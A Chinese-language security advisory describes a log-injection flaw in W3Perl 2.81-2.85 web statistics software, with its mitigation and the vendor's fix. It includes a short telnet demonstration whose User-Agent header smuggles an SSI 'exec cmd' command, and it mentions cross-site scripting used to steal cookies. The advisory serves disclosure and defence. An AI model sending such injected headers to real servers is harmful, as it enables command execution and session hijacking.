W3Perl WebStatistics头处理漏洞
2005-08-12
系统编号:
WAVDB-00149
BUGTRAQ: 3939
影响版本:
W3Perl 2.81-2.85
程序介绍:
W3Perl是一个免费、开源的web统计软件。W3Perl对web站点的统计是基于日志文件并生成HTML来显示。用户可以选择查看各个级别的详细信息。W3Perl可以运行于大多的Linux、Unix以及Microsoft Windows NT/2000的操作系统。
漏洞分析:
W3Perl对从日志文件来的数据没有作很好的过滤操作,这可能使攻击者伪造日志文件,插入恶意结构的数据,从而使W3Perl的统计信息显示的乱七八糟。攻击者还可以在日志文件里插入包含恶意的脚本代码数据,进行跨站脚本攻击。对这个web统计软件的HTTP头处理攻击可能让攻击者从用户那里偷取基于cookie的验证信息来劫持会话。
漏洞利用:
SSI攻击示范:
su-2.05# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: <!--#virtual include= somefile.log -->
User-Agent: <!--#exec cmd= /bin/id -->
HTTP/1.1 200 OK
Date: Mon, 17 Dec 2001 20:39:02 GMT
Server:
Connection: close
Content-Type: text/html
窃取Cookies:
su-2.05# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: <javascript-that-is-evil-so-there's-no-need-for-examples>
User-Agent: </html>
解决方案:
如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:
* 修改W3Perl Web Statistics代码,过滤从日志文件来的所有特殊字符<> :;'}{][|\)(*&^%$#!` 。如果修改有困难,请暂时停止使用W3Perl Web Statistics。
厂商补丁:
W3Perl
------
目前厂商已经发布了升级版本:W3Perl 2.86以修复这个安全问题,请到厂商的主页下载:
http://www.w3perl.com
信息来源:
<*来源:zeno (bugtraq@cgisecurity.net)
链接:http://archives.neohapsis.com/archives/bugtraq/2002-01/0286.html
*>